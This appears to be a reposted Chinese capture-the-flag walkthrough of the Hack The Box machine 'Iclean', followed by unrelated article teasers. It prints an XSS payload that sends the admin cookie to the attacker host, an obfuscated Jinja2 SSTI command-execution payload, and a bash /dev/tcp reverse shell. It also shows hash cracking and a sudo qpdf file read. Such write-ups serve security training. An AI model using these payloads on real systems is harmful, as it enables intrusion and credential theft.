Linux/Iclean

news2024/9/24 23:25:16

Iclean

Enumeration

nmap

先使用默认规则扫描常用的端口,发现对外开放了 22 和 80 端口,然后扫描这两个端口的详细信息,结果如下,很常规的结果,没发现什么有趣的东西

┌──(kali㉿kali)-[~/vegetable/HTB/Iclean]
└─$ nmap -sV -sC -p 22,80 -oA nmap 10.10.11.12 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-08 05:16 EDT
Nmap scan report for 10.10.11.12
Host is up (0.98s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2cf90777e3f13a36dbf23b94e3b7cfb2 (ECDSA)
|_  256 4a919ff274c04181524df1ff2d01786b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.96 seconds

TCP/80

先从 Web 开始探索,访问 80 端口。可以看到网站跳转至 capliclean.htb(下图),将域名添加至 /etc/hosts 文件中,在 kali 中执行下面的指令

echo '10.10.11.12 capiclean.htb' | sudo tee -a /etc/hosts

添加完成后,刷新页面,然后在 wapplayzer 中看到服务使用了 python 和 Flask,同时使用 gobuster 等任意目录扫描器扫描 Web 目录

Exploitation

xss

/quote,界面如下所示,可以填写自己的邮箱

测试填写并提交后,出现下面的提示,您的报价请求已发送给我们的管理团队。他们将很快通过电子邮件与您联系。感谢您对我们的服务表现出的兴趣。

邮箱地址会发给管理员,测试是否存在 xss,按照如下格式写一个简单的 payload,同时在 kali 中开启 Web 服务,监听 80 端口。

在 BurpSuite 中发送后,过一会,收到了如下响应,可以看到 10.10.11.12 主机访问了 Web

修改 payload 为如下指令,然后按照同样的方式,可以获取到管理员的 cookie

<img src=x onerror=fetch('http://10.10.14.13/'+document.cookie);>

在 kali 端,会收到管理员的 cookie

之前扫描目录发现存在 dashboard 目录,使用刚才获得的 cookie 来访问 dashboard,可以直接以管理员身份登录管理员面板。使用浏览器插件 EditThisCookie,按照如下方式配置

访问 /dashboard

在 Generate Invoice 处填写对应信息后,可以生成一个 id

在 Generate QR 处,输入刚才获取到的 id,点击 Genrate 会生成下面的 QR Code Link,填写 test1234 后点击 submit

SSTI

测试 qr_link 处存在 ssti 漏洞,参数为 test1234 时服务器响应如下

参数为 {{7*7}} 时,服务器响应如下,将 7*7 进行了计算,得到结果 49

可以按照如下方式判断使用的模版引擎是什么

按照刚才那个图进行初步的判断,推测可能使用的是 Jinja2 或 Twig 等引擎

使用以下 payload,可以执行系统命令 id,显示结果如下

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

将 id 替换为下面的反向 shell 连接脚本,同时在 kali 中监听 127.0.0.1

bash -c 'bash -i >& /dev/tcp/10.10.14.13/4444 0>&1'

在 BurpSuite 中发送后,在监听端得到一个 shell,使用 python 升级 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.12] 51176
bash: cannot set terminal process group (1208): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

在当前目录下,发现 app.py,打开发现里面有数据库的用户名和密码

db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}

登录数据库,并查看有哪些数据库

www-data@iclean:/opt/app$ mysql -h 127.0.0.1 -uiclean   
mysql -h 127.0.0.1 -uiclean 
ERROR 1045 (28000): Access denied for user 'iclean'@'localhost' (using password: NO)
www-data@iclean:/opt/app$ mysql -h localhost -u iclean -p
mysql -h localhost -u iclean -p
Enter password: pxCsmnGLckUb

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 5367
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| capiclean          |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

使用 capiclean 数据库,查看数据库中存在哪些表

mysql> use capiclean;
use capiclean;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.00 sec)

查看 users 表中的内容

mysql> select * from users;
select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password                                                         | role_id                          |
+----+----------+------------------------------------------------------------------+----------------------------------+
|  1 | admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)

使用 hash-identifier 识别 hash 类型

┌──(kali㉿kali)-[~/vegetable/HTB/Iclean]
└─$ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

Possible Hashs:
[+] SHA-256
[+] Haval-256

保存 hash 值,使用 john 暴力破解 hash 内容

┌──(kali㉿kali)-[~/vegetable/HTB/Iclean]
└─$ john hashs.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
simple and clean (?)     
1g 0:00:00:01 DONE (2024-04-09 05:39) 0.8474g/s 12155Kp/s 12155Kc/s 15348KC/s (454579)..*7¡Vamos!
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.

破解得到 consuela 用户的密码,可以使用 su 切换用户,或者通过 ssh 登录

┌──(kali㉿kali)-[~]
└─$ ssh consuela@10.10.11.12
consuela@10.10.11.12's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Tue Apr  9 09:44:25 AM UTC 2024




Expanded Security Maintenance for Applications is not enabled.

3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


You have mail.
consuela@iclean:~$

Privilege Escalation

qdpf

发现可以执行 qdpf

consuela@iclean:~$ sudo -l
[sudo] password for consuela: 
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

在网上搜索发现 qdpf 是一个内容转换工具,参考 GitHub - qpdf/qpdf: QPDF:内容保存 PDF 文档转换器

也可以找到操作文档 QPDF version 11.9.0 — QPDF 11.9.0 documentation

按照如下操作指令可以直接读取 root.txt 并保存

consuela@iclean:/tmp$ sudo /usr/bin/qpdf --empty /tmp/root.txt --qdf --add-attachment /root/root.txt --
consuela@iclean:/tmp$ ls
puppeteer_dev_chrome_profile-XXXXXXnAeCKd
root.txt
systemd-private-8706baeab0d84ce5a947af309e04853a-apache2.service-1mKxWm
systemd-private-8706baeab0d84ce5a947af309e04853a-fwupd.service-npY1wd
systemd-private-8706baeab0d84ce5a947af309e04853a-ModemManager.service-EykwjH
systemd-private-8706baeab0d84ce5a947af309e04853a-systemd-logind.service-imyqKP
systemd-private-8706baeab0d84ce5a947af309e04853a-systemd-resolved.service-MoBxZS
systemd-private-8706baeab0d84ce5a947af309e04853a-systemd-timesyncd.service-dt8vP0
systemd-private-8706baeab0d84ce5a947af309e04853a-upower.service-qo4P4J
vmware-root_769-4248090657

参考链接:

SSTI (Server Side Template Injection) | HackTricks | HackTricks

GitHub - qpdf/qpdf: QPDF:内容保存 PDF 文档转换器

QPDF version 11.9.0 — QPDF 11.9.0 documentation

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1595863.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python100个库分享第14个—plyfile(将ply文件展示3d模型)

目录 专栏导读库的介绍库的安装ply文件格式介绍ply下载网址&#xff08;是斯坦福大学的3d模型下载网址&#xff09;报错解决完整代码参考&#xff1a;总结 专栏导读 &#x1f338; 欢迎来到Python办公自动化专栏—Python处理办公问题&#xff0c;解放您的双手 &#x1f3f3;️…

003 【笔记神器】Obsidian:打造属于自己的万能工作台

前言&#xff1a;Obsidian 是一款很多大神都在用的笔记软件&#xff0c;具有强大的功能&#xff0c;能够满足日常各种笔记的需求。强大之处在于&#xff1a;Obsidian 能够安装各种强大的插件&#xff0c;实现各种功能。 废话不多说&#xff0c;玩转 Obsidian 仅需这篇文章足矣&…

ThreadX在STM32上的移植:通用启动文件tx_initialize_low_level.s

在嵌入式系统开发中&#xff0c;实时操作系统&#xff08;RTOS&#xff09;的选择对于系统性能和稳定性至关重要。ThreadX是一种广泛使用的RTOS&#xff0c;它以其小巧、快速和可靠而闻名。在本文中&#xff0c;我们将探讨如何将ThreadX移植到STM32微控制器上&#xff0c;特别是…

IDP之Backstage - 环境搭建

0. 目录 1. 前言2. 环境准备&#xff08;Windows10下&#xff09;2.1 安装nvm2.2 git和docker安装 3. 创建模板项目3.1 典型错误: fails on the yarn install step3.2 再次启动3.3 验证 4. 相关 1. 前言 本不想写这篇&#xff0c;因为看着官网文档写着挺简单的&#xff0c;但实…

gcn代码处理出现的问题

README 版本不一致 python 2.7 PYTHON 3.7 切换 TensorFlow系统的学习使用 数据集下载

小程序变更主体需要多久?

小程序迁移变更主体有什么作用&#xff1f;小程序迁移变更主体的好处有很多哦&#xff01;比如可以获得更多权限功能、公司变更或注销时可以保证账号的正常使用、收购账号后可以改变归属权或使用权等等。小程序迁移变更主体的条件有哪些&#xff1f;1、新主体必须是企业主体&am…

3dmax制作小熊猫的基本流程

1.透视图插入面片&#xff0c;改高度宽度&#xff0c;把参考图放进面片里。 2.角度捕捉切换&#xff0c;角度改为90 3.shift旋转&#xff0c;旋转面片&#xff0c;复制一个出来 4.在前视图&#xff0c;把参考图片中的正式图小熊猫的一半的位置&#xff08;可以是眼睛&#x…

2024最新 PyCharm 2024.1 更新亮点看这篇就够了

2024最新 PyCharm 2024.1 更新亮点看这篇就够了 文章目录 2024最新 PyCharm 2024.1 更新亮点看这篇就够了&#x1f680; PyCharm 2024.1 发布&#xff1a;全面升级&#xff0c;助力高效编程&#xff01;摘要引言 &#x1f680; 快速掌握 Hugging Face&#xff1a;模型与数据集文…

【微服务】Nacos生产环境配置技巧分享

前面我们介绍了Nacos作为配置中心组件实现&#xff0c;是如何配置和接入的。对于Nacos来说&#xff0c;他是集注册中心及配置中心为一体的。基于它的强大能力&#xff0c;我们在这里来统一分享几个Nacos在生产环境的配置技巧。 一、热加载配置 Nacos 本身是支持配置热加载的&…

面试官:MySQL的自增 ID 用完了,怎么办?

如果你用过或了解过MySQL&#xff0c;那你一定知道自增主键了。每个自增id都是定义了初始值&#xff0c;然后按照指定步长增长&#xff08;默认步长是1&#xff09;。虽然&#xff0c;自然数是没有上限的&#xff0c;但是我们在设计表结构的时候&#xff0c;通常都会指定字段长…

基于Spring Boot的入职匹配推荐系统设计与实现

基于Spring Boot的入职匹配推荐系统设计与实现 开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/idea 系统部分展示 管理员登录界面&#xff0c;登录成功后进入到系统操…

一文搞定关于SkyWalking告警的那些事儿

Apache SkyWalking告警是由一组规则驱动&#xff0c;这些规则定义在config/alarm-settings.yml文件中。 告警规则 告警规则定义了触发告警所考虑的条件。告警规则有两种类型&#xff0c;单独规则和复合规则&#xff0c;复合规则是单独规则的组合。这里重点介绍一下单独规则&a…

怎么转行做产品经理?

小白转产品经理第一点要先学基础理论知识&#xff0c;学了理论再去实践&#xff0c;转行&#xff0c;跳槽&#xff01; 学理论比较好的就是去报NPDP的系统班&#xff0c;考后也会有面试指导课、职场晋升课程&#xff0c;对小白来说非常合适了~&#xff08;B站&#xff1a;不爱…

QT文本操作

文本的操作 文本的读写流程 文本的读写流程 // 文本的读写流程// 1.打开文件》打到文本》QFileDialog::getOpenFileName返回的是// 一个字符串&#xff0c;包括了路径文件名字// open()方法打开文本// 2.读写文本// readAll(),readLine(),write()// 3.关闭文本 // close()使用…

kylin java.io.IOException: error=13, Permission denied

linux centos7.8 error13, Permission denied_linux open error13-CSDN博客 chmod -R 777 /home/zengwenfeng/kkFileView-4.2.1 2024-04-15 13:15:17.416 WARN 3400 --- [er-offprocmng-1] o.j.l.office.LocalOfficeProcessManager : An I/O error prevents us to determine…

蓝桥杯——18

学习视频&#xff1a;21-广度优先搜索练习_哔哩哔哩_bilibili Q&#xff1a;密码锁 #include<iostream> #include<queue> using namespace std; int s, e; bool vis[10000]; struct node {int state;int step;node(int s1, int s2) {state s1;step s2;} }; int…

排序算法—堆排序

文章目录 堆排序堆思路过程建堆排序 代码实现 堆排序 时间复杂度&#xff1a;O(N*logN) 稳定性&#xff1a;不稳定&#xff08;相同元素排序后的相对位置改变&#xff09; 堆 堆的逻辑结构是一棵完全二叉树&#xff1b;堆的物理结构是一个数组&#xff0c;通过下标表示父子结…

[计算机效率] 时间记录工具:ManicTime

3.24 时间记录工具&#xff1a;ManicTime ManicTime是一款数据收集软件&#xff0c;主要用于记录电脑上各种软件使用所花费的时间以及电脑闲置的时间。用户还可以定制记录某一时间段内的系统活动。 数据收集&#xff1a;ManicTime能够静默运行于后台&#xff0c;自动跟踪并收…

美易全球投资中心:金价暴涨背后,美债越来越没人要了?

金价暴涨背后&#xff1a;天量发行的美债越来越没人要了&#xff1f; 近期&#xff0c;国际金价的大涨几乎吸引了全世界投资者的目光。而在狂热的金市买盘背后&#xff0c;而另一避险资产美国国债&#xff0c;则呈现了完全不同的一幕萧条场景。 一系列疲软的美国国债拍卖表现&…

在线知识库如何从零开始搭建?这篇文章来教你!

引言&#xff1a; 有没有想过把那些零散在脑海中的点点滴滴整理起来&#xff0c;建立一个属于自己的在线知识库&#xff1f;无论是个人学习&#xff0c;团队协作&#xff0c;还是企业管理&#xff0c;一个良好的知识库都能帮我们更高效地存储和分享知识。如果你还在为“怎么建知…